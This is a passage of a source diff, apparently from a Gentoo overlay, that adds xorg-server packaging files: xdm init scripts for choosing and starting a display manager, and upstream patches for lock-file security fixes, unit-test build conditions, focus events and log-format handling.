+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE NAME PIDFILE
+	setup_dm
+
+	if [ -f /etc/.noxdm ]; then
+		einfo "Skipping ${EXE##*/}, /etc/.noxdm found or \"nox\" bootparam passed."
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ]; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>&1
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local curvt retval
+
+	retval=0
+	if [ -t 0 ]; then
+		if type fgconsole >/dev/null 2>&1; then
+			curvt=$(fgconsole 2>/dev/null)
+		else
+			curvt=$(tty)
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt=${curvt#/dev/ttyv} ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe myname mypidfile myservice
+	myexe=$(get_options "service")
+	myname=$(get_options "name")
+	mypidfile=$(get_options "pidfile")
+	myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}"; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=${?}
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ]; then
+		if type chvt >/dev/null 2>&1; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((curvt + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xdm.initd-7 b/x11-base/xorg-server/files/xdm.initd-7
new file mode 100644
index 00000000..51fc7004
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd-7
@@ -0,0 +1,220 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd-7,v 1.1 2012/03/20 16:02:51 ssuominen Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	# (#390609) gdm-3 will fail when dbus is not running
+	# (#366753) starting keymaps after X causes problems
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota keymaps
+	before alsasound
+
+	# Start before X
+	use consolekit dbus xfs
+}
+
+setup_dm() {
+	local MY_XDM
+	
+	MY_XDM=$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH=${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")
+
+	NAME=
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE="$(which kdm)"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		kdm-*)
+			EXE="/usr/kde/${MY_XDM#kdm-}/bin/kdm"
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		lightdm)
+			EXE=/usr/sbin/lightdm
+			PIDFILE=/var/run/lightdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(which ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ -z "${EXE}" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE NAME PIDFILE
+	setup_dm
+
+	if [ -f /etc/.noxdm ]; then
+		einfo "Skipping ${EXE##*/}, /etc/.noxdm found or \"nox\" bootparam passed."
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ]; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>&1
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local curvt retval
+
+	retval=0
+	if [ -t 0 ]; then
+		if type fgconsole >/dev/null 2>&1; then
+			curvt=$(fgconsole 2>/dev/null)
+		else
+			curvt=$(tty)
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt=${curvt#/dev/ttyv} ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe myname mypidfile myservice
+	myexe=$(get_options "service")
+	myname=$(get_options "name")
+	mypidfile=$(get_options "pidfile")
+	myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}"; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=${?}
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ]; then
+		if type chvt >/dev/null 2>&1; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((curvt + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xdm.initd-8 b/x11-base/xorg-server/files/xdm.initd-8
new file mode 100644
index 00000000..539cac10
--- /dev/null
+++ b/x11-base/xorg-server/files/xdm.initd-8
@@ -0,0 +1,216 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/files/xdm.initd-8,v 1.1 2012/05/01 22:08:46 chithanh Exp $
+
+# This is here to serve as a note to myself, and future developers.
+#
+# Any Display manager (gdm,kdm,xdm) has the following problem:  if
+# it is started before any getty, and no vt is specified, it will
+# usually run on vt2.  When the getty on vt2 then starts, and the
+# DM is already started, the getty will take control of the keyboard,
+# leaving us with a "dead" keyboard.
+#
+# Resolution: add the following line to /etc/inittab
+#
+#  x:a:once:/etc/X11/startDM.sh
+#
+# and have /etc/X11/startDM.sh start the DM in daemon mode if
+# a lock is present (with the info of what DM should be started),
+# else just fall through.
+#
+# How this basically works, is the "a" runlevel is a additional
+# runlevel that you can use to fork processes with init, but the
+# runlevel never gets changed to this runlevel.  Along with the "a"
+# runlevel, the "once" key word means that startDM.sh will only be
+# run when we specify it to run, thus eliminating respawning
+# startDM.sh when "xdm" is not added to the default runlevel, as was
+# done previously.
+#
+# This script then just calls "telinit a", and init will run
+# /etc/X11/startDM.sh after the current runlevel completes (this
+# script should only be added to the actual runlevel the user is
+# using).
+#
+# Martin Schlemmer
+# aka Azarah
+# 04 March 2002
+
+depend() {
+	need localmount xdm-setup
+
+	# this should start as early as possible
+	# we can't do 'before *' as that breaks it
+	# (#139824) Start after ypbind and autofs for network authentication
+	# (#145219 #180163) Could use lirc mouse as input device
+	# (#70689 comment #92) Start after consolefont to avoid display corruption
+	# (#291269) Start after quota, since some dm need readable home
+	# (#390609) gdm-3 will fail when dbus is not running
+	# (#366753) starting keymaps after X causes problems
+	after bootmisc consolefont modules netmount
+	after readahead-list ypbind autofs openvpn gpm lircmd
+	after quota keymaps
+	before alsasound
+
+	# Start before X
+	use consolekit dbus xfs
+}
+
+setup_dm() {
+	local MY_XDM
+	
+	MY_XDM=$(echo "${DISPLAYMANAGER}" | tr '[:upper:]' '[:lower:]')
+
+	# Load our root path from profile.env
+	# Needed for kdm
+	PATH=${PATH}:$(. /etc/profile.env; echo "${ROOTPATH}")
+
+	NAME=
+	case "${MY_XDM}" in
+		kdm|kde)
+			EXE=/usr/bin/kdm
+			PIDFILE=/var/run/kdm.pid
+			;;
+		entrance*)
+			EXE=/usr/sbin/entranced
+			PIDFILE=/var/lib/entranced.pid
+			;;
+		gdm|gnome)
+			EXE=/usr/bin/gdm
+			[ "${RC_UNAME}" != "Linux" ] && NAME=gdm-binary
+			PIDFILE=/var/run/gdm.pid
+			;;
+		wdm)
+			EXE=/usr/bin/wdm
+			PIDFILE=
+			;;
+		gpe)
+			EXE=/usr/bin/gpe-dm
+			PIDFILE=/var/run/gpe-dm.pid
+			;;
+		lxdm)
+			EXE=/usr/sbin/lxdm-binary
+			PIDFILE=/var/run/lxdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		lightdm)
+			EXE=/usr/sbin/lightdm
+			PIDFILE=/var/run/lightdm.pid
+			START_STOP_ARGS="--background"
+			;;
+		*)
+			# first find out if there is such executable
+			EXE="$(command -v ${MY_XDM} 2>/dev/null)"
+			PIDFILE="/var/run/${MY_XDM}.pid"
+
+			# warn user that he is doing sick things if the exe was not found
+			if [ -z "${EXE}" ]; then
+				echo "ERROR: Your XDM value is invalid."
+				echo "  No ${MY_XDM} executable could be found on your system."
+			fi
+			;;
+	esac
+
+	if ! [ -x "${EXE}" ]; then
+		EXE=/usr/bin/xdm
+		PIDFILE=/var/run/xdm.pid
+		if ! [ -x "/usr/bin/xdm" ]; then
+			echo "ERROR: Please set your DISPLAYMANAGER variable in /etc/conf.d/xdm,"
+			echo "	or install x11-apps/xdm package"
+			eend 255
+		fi
+	fi
+}
+
+# Check to see if something is defined on our VT
+vtstatic() {
+	if [ -e /etc/inittab ] ; then
+		grep -Eq "^[^#]+.*\<tty$1\>" /etc/inittab
+	elif [ -e /etc/ttys ] ; then
+		grep -q "^ttyv$(($1 - 1))" /etc/ttys
+	else
+		return 1
+	fi
+}
+
+start() {
+	local EXE NAME PIDFILE
+	setup_dm
+
+	if [ -f /etc/.noxdm ]; then
+		einfo "Skipping ${EXE##*/}, /etc/.noxdm found or \"nox\" bootparam passed."
+		rm /etc/.noxdm
+		return 0
+	fi
+
+	ebegin "Setting up ${EXE##*/}"
+
+	# save the prefered DM
+	save_options "service" "${EXE}"
+	save_options "name"    "${NAME}"
+	save_options "pidfile" "${PIDFILE}"
+	save_options "start_stop_args" "${START_STOP_ARGS}"
+
+	if [ -n "${CHECKVT-y}" ] ; then
+		if vtstatic "${CHECKVT:-7}" ; then
+			if [ -x /sbin/telinit ] && [ "${SOFTLEVEL}" != "BOOT" ] && [ "${RC_SOFTLEVEL}" != "BOOT" ]; then
+				ewarn "Something is already defined on VT ${CHECKVT:-7}, will start X later"
+				telinit a >/dev/null 2>&1
+				return 0
+			else
+				eerror "Something is already defined on VT ${CHECKVT:-7}, not starting"
+				return 1
+			fi
+		fi
+	fi
+
+	/etc/X11/startDM.sh
+	eend 0
+}
+
+stop() {
+	local curvt retval
+
+	retval=0
+	if [ -t 0 ]; then
+		if type fgconsole >/dev/null 2>&1; then
+			curvt=$(fgconsole 2>/dev/null)
+		else
+			curvt=$(tty)
+			case "${curvt}" in
+				/dev/ttyv[0-9]*) curvt=${curvt#/dev/ttyv} ;;
+				*) curvt= ;;
+			esac
+		fi
+	fi
+	local myexe myname mypidfile myservice
+	myexe=$(get_options "service")
+	myname=$(get_options "name")
+	mypidfile=$(get_options "pidfile")
+	myservice=${myexe##*/}
+
+	[ -z "${myexe}" ] && return 0
+
+	ebegin "Stopping ${myservice}"
+
+	if start-stop-daemon --quiet --test --stop --exec "${myexe}"; then
+		start-stop-daemon --stop --exec "${myexe}" --retry TERM/5/TERM/5 \
+			${mypidfile:+--pidfile} ${mypidfile} \
+			${myname:+--name} ${myname}
+		retval=${?}
+	fi
+
+	# switch back to original vt
+	if [ -n "${curvt}" ]; then
+		if type chvt >/dev/null 2>&1; then
+			chvt "${curvt}"
+		else
+			vidcontrol -s "$((curvt + 1))"
+		fi
+	fi
+
+	eend ${retval} "Error stopping ${myservice}"
+	return ${retval}
+}
+
+# vim: set ts=4 :
diff --git a/x11-base/xorg-server/files/xorg-cve-2011-4028+4029.patch b/x11-base/xorg-server/files/xorg-cve-2011-4028+4029.patch
new file mode 100644
index 00000000..66e77f66
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-cve-2011-4028+4029.patch
@@ -0,0 +1,22 @@
+diff --git a/os/utils.c b/os/utils.c
+index e8ecb71..18ff1ca 100644
+--- a/os/utils.c
++++ b/os/utils.c
+@@ -297,7 +297,7 @@ LockServer(void)
+     FatalError("Could not create lock file in %s\n", tmp);
+   (void) sprintf(pid_str, "%10ld\n", (long)getpid());
+   (void) write(lfd, pid_str, 11);
+-  (void) chmod(tmp, 0444);
++  (void) fchmod(lfd, 0444);
+   (void) close(lfd);
+
+   /*
+@@ -318,7 +318,7 @@ LockServer(void)
+       /*
+        * Read the pid from the existing file
+        */
+-      lfd = open(LockFile, O_RDONLY);
++      lfd = open(LockFile, O_RDONLY|O_NOFOLLOW);
+       if (lfd < 0) {
+         unlink(tmp);
+         FatalError("Can't read lock file %s\n", LockFile);
diff --git a/x11-base/xorg-server/files/xorg-server-1.11-disable-tests-without-ddx.patch b/x11-base/xorg-server/files/xorg-server-1.11-disable-tests-without-ddx.patch
new file mode 100644
index 00000000..facb9727
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.11-disable-tests-without-ddx.patch
@@ -0,0 +1,64 @@
+diff -ur a/test/Makefile.am b/test/Makefile.am
+--- a/test/Makefile.am	2011-07-15 15:26:40.000000000 +0200
++++ b/test/Makefile.am	2012-01-02 01:03:15.232740535 +0100
+@@ -1,21 +1,32 @@
+ if ENABLE_UNIT_TESTS
+ if HAVE_LD_WRAP
+-SUBDIRS= . xi2
+-noinst_PROGRAMS = xkb input xtest list misc fixes
++SUBDIRS= .
++noinst_PROGRAMS = list
++if XORG
++# Tests that require at least some DDX functions in order to fully link
++# For now, requires xf86 ddx, could be adjusted to use another
++SUBDIRS += xi2
++noinst_PROGRAMS += xkb input xtest misc fixes
++endif
+ check_LTLIBRARIES = libxservertest.la
+ 
+ TESTS=$(noinst_PROGRAMS)
+ 
+ AM_CFLAGS = $(DIX_CFLAGS) @XORG_CFLAGS@
+-INCLUDES = $(XORG_INCS) -I$(top_srcdir)/hw/xfree86/parser \
+-	-I$(top_srcdir)/miext/cw -I$(top_srcdir)/hw/xfree86/ddc \
++INCLUDES = $(XORG_INCS) -I$(top_srcdir)/miext/cw
++if XORG
++INCLUDES += -I$(top_srcdir)/hw/xfree86/parser \
++	-I$(top_srcdir)/hw/xfree86/ddc \
+ 	-I$(top_srcdir)/hw/xfree86/i2c -I$(top_srcdir)/hw/xfree86/modes \
+ 	-I$(top_srcdir)/hw/xfree86/ramdac
++endif
+ TEST_LDADD=libxservertest.la $(XORG_SYS_LIBS) $(XSERVER_SYS_LIBS)
+ 
++if XORG
+ if SPECIAL_DTRACE_OBJECTS
+ TEST_LDADD += $(OS_LIB) $(DIX_LIB)
+ endif
++endif
+ 
+ xkb_LDADD=$(TEST_LDADD)
+ input_LDADD=$(TEST_LDADD)
+@@ -24,9 +35,10 @@
+ misc_LDADD=$(TEST_LDADD)
+ fixes_LDADD=$(TEST_LDADD)
+ 
++libxservertest_la_LIBADD = $(XSERVER_LIBS)
++if XORG
+ nodist_libxservertest_la_SOURCES = $(top_builddir)/hw/xfree86/sdksyms.c
+-libxservertest_la_LIBADD = \
+-            $(XSERVER_LIBS) \
++libxservertest_la_LIBADD += \
+             $(top_builddir)/hw/xfree86/loader/libloader.la \
+             $(top_builddir)/hw/xfree86/os-support/libxorgos.la \
+             $(top_builddir)/hw/xfree86/common/libcommon.la \
+@@ -36,7 +48,9 @@
+             $(top_builddir)/hw/xfree86/ramdac/libramdac.la \
+             $(top_builddir)/hw/xfree86/ddc/libddc.la \
+             $(top_builddir)/hw/xfree86/i2c/libi2c.la \
+-            $(top_builddir)/hw/xfree86/dixmods/libxorgxkb.la \
++            $(top_builddir)/hw/xfree86/dixmods/libxorgxkb.la
++endif
++libxservertest_la_LIBADD += \
+             $(top_builddir)/mi/libmi.la \
+             $(top_builddir)/os/libos.la \
+             @XORG_LIBS@
diff --git a/x11-base/xorg-server/files/xorg-server-1.11-dix-pointerrootwin-send-focusin.patch b/x11-base/xorg-server/files/xorg-server-1.11-dix-pointerrootwin-send-focusin.patch
new file mode 100644
index 00000000..d548c898
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.11-dix-pointerrootwin-send-focusin.patch
@@ -0,0 +1,27 @@
+From 3ce102c362cadcd7087bdcf48440d9498eaf77d0 Mon Sep 17 00:00:00 2001
+From: Peter Hutterer <peter.hutterer@who-t.net>
+Date: Thu, 05 Jan 2012 12:08:01 +0000
+Subject: dix: on PointerRootWin send a FocusIn to the sprite window too
+
+XTS XSetDeviceFocus-7
+
+Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
+Reviewed-by: Chase Douglas <chase.douglas@canonical.com>
+---
+diff --git a/dix/enterleave.c b/dix/enterleave.c
+index 2b8c7c5..89a82ab 100644
+--- a/dix/enterleave.c
++++ b/dix/enterleave.c
+@@ -1299,7 +1299,10 @@ DeviceFocusEvents(DeviceIntPtr dev,
+         for (i = 0; i < nscreens; i++)
+             DeviceFocusEvent(dev, XI_FocusIn, mode, in, screenInfo.screens[i]->root);
+         if (to == PointerRootWin)
++        {
+             DeviceFocusInEvents(dev, GetCurrentRootWindow(dev), sprite->win, mode, NotifyPointer);
++            DeviceFocusEvent(dev, XI_FocusIn, mode, NotifyPointer, sprite->win);
++        }
+     }
+     else
+     {
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-base/xorg-server/files/xorg-server-1.11-dix-send-focus-events.patch b/x11-base/xorg-server/files/xorg-server-1.11-dix-send-focus-events.patch
new file mode 100644
index 00000000..e9ba0a7c
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.11-dix-send-focus-events.patch
@@ -0,0 +1,48 @@
+From a125aabda3a5cf27aa98cb61f16e49280b66f451 Mon Sep 17 00:00:00 2001
+From: Peter Hutterer <peter.hutterer@who-t.net>
+Date: Thu, 05 Jan 2012 12:02:51 +0000
+Subject: dix: send focus events to the immediate parent (#44079)
+
+For a transition from windows A to B, A->parent did not receive an event.
+DeviceFocusOutEvents sends to windows ]from, to[, so start with the actual
+window, not it's parent.
+
+X.Org Bug 44079 <http://bugs.freedesktop.org/show_bug.cgi?id=44079>
+
+Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
+Reviewed-by: Chase Douglas <chase.douglas@canonical.com>
+Reviewed-by: Keith Packard <keithp@keithp.com>
+---
+diff --git a/dix/enterleave.c b/dix/enterleave.c
+index a39e640..2b8c7c5 100644
+--- a/dix/enterleave.c
++++ b/dix/enterleave.c
+@@ -1292,7 +1292,7 @@ DeviceFocusEvents(DeviceIntPtr dev,
+                         NotifyPointer);
+             DeviceFocusEvent(dev, XI_FocusOut, mode, NotifyNonlinear, from);
+             /* next call catches the root too, if the screen changed */
+-            DeviceFocusOutEvents(dev, from->parent, NullWindow, mode,
++            DeviceFocusOutEvents(dev, from, NullWindow, mode,
+                     NotifyNonlinearVirtual);
+         }
+         /* Notify all the roots */
+@@ -1321,7 +1321,7 @@ DeviceFocusEvents(DeviceIntPtr dev,
+             if (IsParent(to, from))
+             {
+                 DeviceFocusEvent(dev, XI_FocusOut, mode, NotifyAncestor, from);
+-                DeviceFocusOutEvents(dev, from->parent, to, mode,
++                DeviceFocusOutEvents(dev, from, to, mode,
+                         NotifyVirtual);
+                 DeviceFocusEvent(dev, XI_FocusIn, mode, NotifyInferior, to);
+                 if ((IsParent(to, sprite->win)) &&
+@@ -1353,7 +1353,7 @@ DeviceFocusEvents(DeviceIntPtr dev,
+                                 NotifyPointer);
+                     DeviceFocusEvent(dev, XI_FocusOut, mode, NotifyNonlinear, from);
+                     if (from->parent != NullWindow)
+-                        DeviceFocusOutEvents(dev, from->parent, common, mode,
++                        DeviceFocusOutEvents(dev, from, common, mode,
+                                 NotifyNonlinearVirtual);
+                     if (to->parent != NullWindow)
+                         DeviceFocusInEvents(dev, common, to, mode, NotifyNonlinearVirtual);
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-base/xorg-server/files/xorg-server-1.11-log-format-fix.patch b/x11-base/xorg-server/files/xorg-server-1.11-log-format-fix.patch
new file mode 100644
index 00000000..61e7eae6
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.11-log-format-fix.patch
@@ -0,0 +1,441 @@
+Description: extreme backport of upstream log format fixes (CVE-2012-2118).
+Bug-Ubuntu: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/996250
+Origin: http://patchwork.freedesktop.org/patch/10001/
+
+Index: xorg-server-1.11.4/os/log.c
+===================================================================
+--- xorg-server-1.11.4.orig/os/log.c	2012-05-06 11:03:17.621808123 -0700
++++ xorg-server-1.11.4/os/log.c	2012-05-06 11:03:18.057814189 -0700
+@@ -167,6 +167,12 @@
+ #ifndef X_NOT_IMPLEMENTED_STRING
+ #define X_NOT_IMPLEMENTED_STRING	"(NI)"
+ #endif
++#ifndef X_DEBUG_STRING
++#define X_DEBUG_STRING          "(DB)"
++#endif
++#ifndef X_NONE_STRING
++#define X_NONE_STRING           ""
++#endif
+ 
+ /*
+  * LogInit is called to start logging to a file.  It is also called (with
+@@ -223,7 +229,7 @@
+      * needed.
+      */
+     if (saveBuffer && bufferSize > 0) {
+-	free(saveBuffer);	/* Must be free(), not free() */
++	free(saveBuffer);
+ 	saveBuffer = NULL;
+ 	bufferSize = 0;
+     }
+@@ -265,36 +271,19 @@
+ }
+ 
+ /* This function does the actual log message writes. */
+-
+-void
+-LogVWrite(int verb, const char *f, va_list args)
++static void
++LogSWrite(int verb, const char *buf, size_t len, Bool end_line)
+ {
+-    static char tmpBuffer[1024];
+-    int len = 0;
+     static Bool newline = TRUE;
+ 
+-    if (newline) {
+-	sprintf(tmpBuffer, "[%10.3f] ", GetTimeInMillis() / 1000.0);
+-	len = strlen(tmpBuffer);
+-	if (logFile)
+-	    fwrite(tmpBuffer, len, 1, logFile);
+-    }
+-
+-    /*
+-     * Since a va_list can only be processed once, write the string to a
+-     * buffer, and then write the buffer out to the appropriate output
+-     * stream(s).
+-     */
+-    if (verb < 0 || logFileVerbosity >= verb || logVerbosity >= verb) {
+-	vsnprintf(tmpBuffer, sizeof(tmpBuffer), f, args);
+-	len = strlen(tmpBuffer);
+-    }
+-    newline = (tmpBuffer[len-1] == '\n');
+-    if ((verb < 0 || logVerbosity >= verb) && len > 0)
+-	fwrite(tmpBuffer, len, 1, stderr);
+-    if ((verb < 0 || logFileVerbosity >= verb) && len > 0) {
++    if (verb < 0 || logVerbosity >= verb)
++        fwrite(buf, len, 1, stderr);
++    if (verb < 0 || logFileVerbosity >= verb) {
+ 	if (logFile) {
+-	    fwrite(tmpBuffer, len, 1, logFile);
++            if (newline)
++                fprintf(logFile, "[%10.3f] ", GetTimeInMillis() / 1000.0);
++            newline = end_line;
++            fwrite(buf, len, 1, logFile);
+ 	    if (logFlush) {
+ 		fflush(logFile);
+ #ifndef WIN32
+@@ -311,13 +300,19 @@
+ 		    FatalError("realloc() failed while saving log messages\n");
+ 	    }
+ 	    bufferUnused -= len;
+-	    memcpy(saveBuffer + bufferPos, tmpBuffer, len);
++            memcpy(saveBuffer + bufferPos, buf, len);
+ 	    bufferPos += len;
+ 	}
+     }
+ }
+ 
+ void
++LogVWrite(int verb, const char *f, va_list args)
++{
++    return LogVMessageVerb(X_NONE, verb, f, args);
++}
++
++void
+ LogWrite(int verb, const char *f, ...)
+ {
+     va_list args;
+@@ -327,60 +322,75 @@
+     va_end(args);
+ }
+ 
+-void
+-LogVMessageVerb(MessageType type, int verb, const char *format, va_list args)
++/* Returns the Message Type string to prepend to a logging message, or NULL
++ * if the message will be dropped due to insufficient verbosity. */
++static const char *
++LogMessageTypeVerbString(MessageType type, int verb)
+ {
+-    const char *s  = X_UNKNOWN_STRING;
+-    char tmpBuf[1024];
++    if (type == X_ERROR)
++        verb = 0;
+ 
+-    /* Ignore verbosity for X_ERROR */
+-    if (logVerbosity >= verb || logFileVerbosity >= verb || type == X_ERROR) {
+-	switch (type) {
+-	case X_PROBED:
+-	    s = X_PROBE_STRING;
+-	    break;
+-	case X_CONFIG:
+-	    s = X_CONFIG_STRING;
+-	    break;
+-	case X_DEFAULT:
+-	    s = X_DEFAULT_STRING;
+-	    break;
+-	case X_CMDLINE:
+-	    s = X_CMDLINE_STRING;
+-	    break;
+-	case X_NOTICE:
+-	    s = X_NOTICE_STRING;
+-	    break;
+-	case X_ERROR:
+-	    s = X_ERROR_STRING;
+-	    if (verb > 0)
+-		verb = 0;
+-	    break;
+-	case X_WARNING:
+-	    s = X_WARNING_STRING;
+-	    break;
+-	case X_INFO:
+-	    s = X_INFO_STRING;
+-	    break;
+-	case X_NOT_IMPLEMENTED:
+-	    s = X_NOT_IMPLEMENTED_STRING;
+-	    break;
+-	case X_UNKNOWN:
+-	    s = X_UNKNOWN_STRING;
+-	    break;
+-	case X_NONE:
+-	    s = NULL;
+-	    break;
+-	}
++    if (logVerbosity < verb && logFileVerbosity < verb)
++        return NULL;
+ 
+-        /* if s is not NULL we need a space before format */
+-        snprintf(tmpBuf, sizeof(tmpBuf), "%s%s%s", s ? s : "",
+-                                                   s ? " " : "",
+-                                                   format);
+-        LogVWrite(verb, tmpBuf, args);
++    switch (type) {
++    case X_PROBED:
++        return X_PROBE_STRING;
++    case X_CONFIG:
++        return X_CONFIG_STRING;
++    case X_DEFAULT:
++        return X_DEFAULT_STRING;
++    case X_CMDLINE:
++        return X_CMDLINE_STRING;
++    case X_NOTICE:
++        return X_NOTICE_STRING;
++    case X_ERROR:
++        return X_ERROR_STRING;
++    case X_WARNING:
++        return X_WARNING_STRING;
++    case X_INFO:
++        return X_INFO_STRING;
++    case X_NOT_IMPLEMENTED:
++        return X_NOT_IMPLEMENTED_STRING;
++    case X_UNKNOWN:
++        return X_UNKNOWN_STRING;
++    case X_NONE:
++        return X_NONE_STRING;
++    case X_DEBUG:
++        return X_DEBUG_STRING;
++    default:
++        return X_UNKNOWN_STRING;
+     }
+ }
+ 
++void
